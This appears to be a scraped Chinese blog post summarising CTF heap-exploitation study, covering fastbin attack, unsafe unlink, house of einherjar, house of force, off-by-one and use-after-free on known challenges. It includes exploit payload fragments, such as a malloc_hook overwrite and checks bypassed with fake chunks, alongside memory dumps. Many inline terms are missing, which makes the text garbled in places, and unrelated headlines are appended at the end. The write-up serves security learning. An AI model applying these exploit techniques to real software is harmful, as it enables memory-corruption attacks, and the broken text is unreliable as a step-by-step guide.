CTF 玩轉 pwn 月度總結
本文作者:Bill
贈送書籍:《黑客大曝光: 惡意軟體和RootKit安全》
自從加入 交流群, 在 , 的幫助下, 學習之路進入加速度. 下面是 周學習的總結, 基本上是按照 路線走的.由於 周內容全寫, 篇幅太長, 這裡只講述每道 題所用到的一個知識點.
第一節()
知識點利用 之間,單鏈表的連接的特性, 溢出修改下一個 的地址, 造成任意地址寫.
例子: 0CTF 2017 Babyheap
功能可以填充任意長位元組, 漏洞在此.
內容為
重點: fastbin attack
First Step
alloc(0x60)
alloc(0x40)
0x56144ab7e000:0x00000000000000000x0000000000000071-->chunk0header
0x56144ab7e010:0x00000000000000000x0000000000000000
0x56144ab7e020:0x00000000000000000x0000000000000000
0x56144ab7e030:0x00000000000000000x0000000000000000
0x56144ab7e040:0x00000000000000000x0000000000000000
0x56144ab7e050:0x00000000000000000x0000000000000000
0x56144ab7e060:0x00000000000000000x0000000000000000
0x56144ab7e070:0x00000000000000000x0000000000000051-->chunk1header
0x56144ab7e080:0x00000000000000000x0000000000000000
0x56144ab7e090:0x00000000000000000x0000000000000000
Second Step
Fill(0x10,0x60+0x10,"A"*0x60+p64()+p64(0x71))-->開始破壞chunk1header
0x56144ab7e000:0x00000000000000000x0000000000000071
0x56144ab7e010:0x61616161616161610x6161616161616161
0x56144ab7e020:0x61616161616161610x6161616161616161
0x56144ab7e030:0x61616161616161610x6161616161616161
0x56144ab7e040:0x61616161616161610x6161616161616161
0x56144ab7e050:0x61616161616161610x6161616161616161
0x56144ab7e060:0x61616161616161610x6161616161616161
0x56144ab7e070:0x00000000000000000x0000000000000071-->已修改為0x71
0x56144ab7e080:0x00000000000000000x0000000000000000
Third Step: 申請
0x56144ab7e060:0x61616161616161610x6161616161616161
0x56144ab7e070:0x00000000000000000x0000000000000071
0x56144ab7e080:0x00000000000000000x0000000000000000
0x56144ab7e090:0x00000000000000000x0000000000000000
0x56144ab7e0a0:0x00000000000000000x0000000000000000
0x56144ab7e0b0:0x00000000000000000x0000000000000000
0x56144ab7e0c0:0x00000000000000000x0000000000000111-->chunk2header
Fouth Step: 破壞 , 最後目的是釋放
Fifth Step: 修復
Fill(1,0x40+0x10,"b"*0x60+p64()+p64(0x111))-->修復chunk2
Free(2)
Dump(1)
0x56144ab7e060:0x61616161616161610x6161616161616161
0x56144ab7e070:0x00000000000000000x0000000000000071
0x56144ab7e080:0x62626262626262620x6262626262626262
0x56144ab7e090:0x62626262626262620x6262626262626262
......
0x56144ab7e0c0:0x00000000000000000x0000000000000111
0x56144ab7e0d0:0x00007f26abbacb780x00007f26abbacb78-->指向libc中的某地址(程序使用的是write,將內容全部列印,不會出現x00截止)
0x56144ab7e0e0:0x00000000000000000x0000000000000071
Sixth Step: 修改下一個 為
Free(1)
payload="a"*0x60+p64()+p64(0x71)+p64(malloc_hook-27-0x8)+p64()# fake chunk + 修改修改的地址
Fill(,0x60+0x10+0x10,payload)
詳解解析:
文件下載
https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/fastbin_dup
第二節()
知識點
1、當 不足以滿足申請的大小, 會合併 的空閑 。 如若在不足: 主分配區調用 , 增加 大小; 非主分配區調用 來分配一個新的 。
2、 表中存放著函數的真實地址, 函數調用會去 表中查找函數地址, 然後跳轉.修改 表對應函數的地址, 達到 目的.
3、: 釋放兩次內存, 可與 搭配實現任意地址讀寫.
栗子:HITCON CTF 2016 SleepyHolder
程序分析
可以選擇申請 三種不同大小的堆塊, 每種只能申請一個, 會清空
刪除, 將相應的標誌位置位 0
修改, 不檢查相應的指針是否已釋放, 造成
重點
演示過程: 申請 , 刪除 , 申請
申請large secret之前
之後
詳細解析:
文件下載:
https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/fastbin_dup_consolidate
第三節()
知識點
: 當 兩個相鄰的 時, 會發生合併的特性來攻擊的. 合併後的 塊放在雙向鏈表構成的 .
栗子:HITCON CTF 2014 stkof
程序分析
輸入分配內存的大小
: 寫入任意長度, 漏洞在此
重點
繞過 size 檢查
繞過指針檢查
繞過size
if(__builtin_expect(chunksize(P)!=prev_size(next_chunk(P)),))
malloc_printerr("corrupted size vs. prev_size");
過程捋一下
P=0x1307540,chunksize(P)=0x20
nextchunk(P)=0x1307540+0x20=0x1307540+0x20
prev_size=[0x1307540+0x20]=0x20
0x20=0x20,繞過,就是fake_chunk,很好繞過的.
繞過指針檢查
if(__builtin_expect(FD->bk!=P||BK->fd!=P,))
malloc_printerr("corrupted double-linked list");
過程捋一下
FD=[0x1307540+0x10]=0x602138,
BK=[0x1307540+0x18]=0x602140
FD->bk=[0x602138+0x18]=0x1307540,
BK->fd=[0x602140+0x10]=0x1307540
P=0x1307540
FD->bk!=P為false
BK->fd!=P為false
成功繞過
詳細解析
文件下載
https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/unsafe_unlink/hitcon_ctf_2014
第四節()
知識點
: 該對利用技術可以強制使得 返回一個幾乎任意地址的 , 主要在於濫用 中的後向合併.
栗子:Seccon CTF 2016 tinypad
程序分析
, 將指針釋放, size 位清零, 但沒有將對應的指針清零.
, 存在一個 漏洞.
`Quit
重點
通過利用 和 , 修改 的指針
1. 泄露
add(0x80,"A"*0x80)
add(0x80,"B"*0x80)
add(0x80,"C"*0x80)
add(0x80,"D"*0x80)
delete(3)
delete(1)
2. house_of_einherjar
add(0x18,"A"*0x18)
add(0x100,"B"*0xf8+p64(0x11))
add(0x100,"C"*0x100)
add(0x100,"D"*0x100)
tinypad=0x602040
offset=heap+0x20-0x602040-0x20
fake_chunk=p64()+p64(0x101)+p64(0x602060)*2
edit(3,"D"*0x20+fake_chunk)
zero_byte_number=8-len(p64(offset).strip("x00"))
"""
循環edit的原因是stcpy()會因為空子節而停止copy, 但每次讀取都會將最後一個位元組變為NULL, 這樣就可以用NULL逐一覆蓋, 使2號chunk的prev_size為offset
"""
foriinrange(zero_byte_number+1):
data="A"*0x10+p64(offset).strip("x00").rjust(8-i,"f")
edit(1,data)
delete(2)
edit(4,"D"*0x20+p64()+p64(0x101)+p64(main_arena+0x58)*2)#修復unsorted bin
詳細解析:
文件下載:
https://github.com/BBS-Bill-Gates/CTF/tree/master/how2heap/house_of_einherjar
第五節()
知識點
: 溢出 , 返回任意地址.
: 當 不能滿足申請的大小時, 就會從 分割相應的大小給用戶. 例如: 第一次 時, 中並沒有相應的空閑的 chunk, 就會從 中分配.
栗子:BCTF 2016 bcloud
程序分析
welcome: 輸入 . 漏洞在此, 構造一定的輸入, 可使程序複製過量的數據到相應的堆空間, 可修改
New Note: malloc
Show Note: display
Edit Note: update
Delete: free
重點
name="Bill"*0x10
org="A"*0x40
host=p32(0xffffffff)
welcome(name,org,host)
前
後
原因
詳細解析:
文件下載:
https://github.com/BBS-Bill-Gates/CTF/tree/master/2016/BCTF/bcloud
第六節()
知識點
: 意思就是我們能夠多寫入一個位元組, 不要小看這個位元組,有時候能夠修改 的狀態.
栗子: Asis CTF 2016 b00ks
程序分析
Welcome: 輸入一個 , 這個地方存在 漏洞, 溢出一個空子節.
Create a book: 創建一本書
Delete
Edit a book
Print book detail
Change current author name (再次編輯給了我們修改 book 指針的機會)
Exit
漏洞位置
第一個影響: 信息泄露
第二個影響: 會修改堆地址
思路:在修改後的堆地址布置一個 , 可以修改任意地址.
詳細解析:
文件詳解:
https://github.com/BBS-Bill-Gates/CTF/tree/master/ctf-wiki/heap/off_by_one
第七節()
知識點
: 內存被釋放後, 其對應指針沒有被置為, 再次使用有可能使程序崩潰.
※生活在絕地求生中的島上是一種怎樣的體驗?
※男人真的都忘不了前任嗎?
TAG:全球大搜羅 |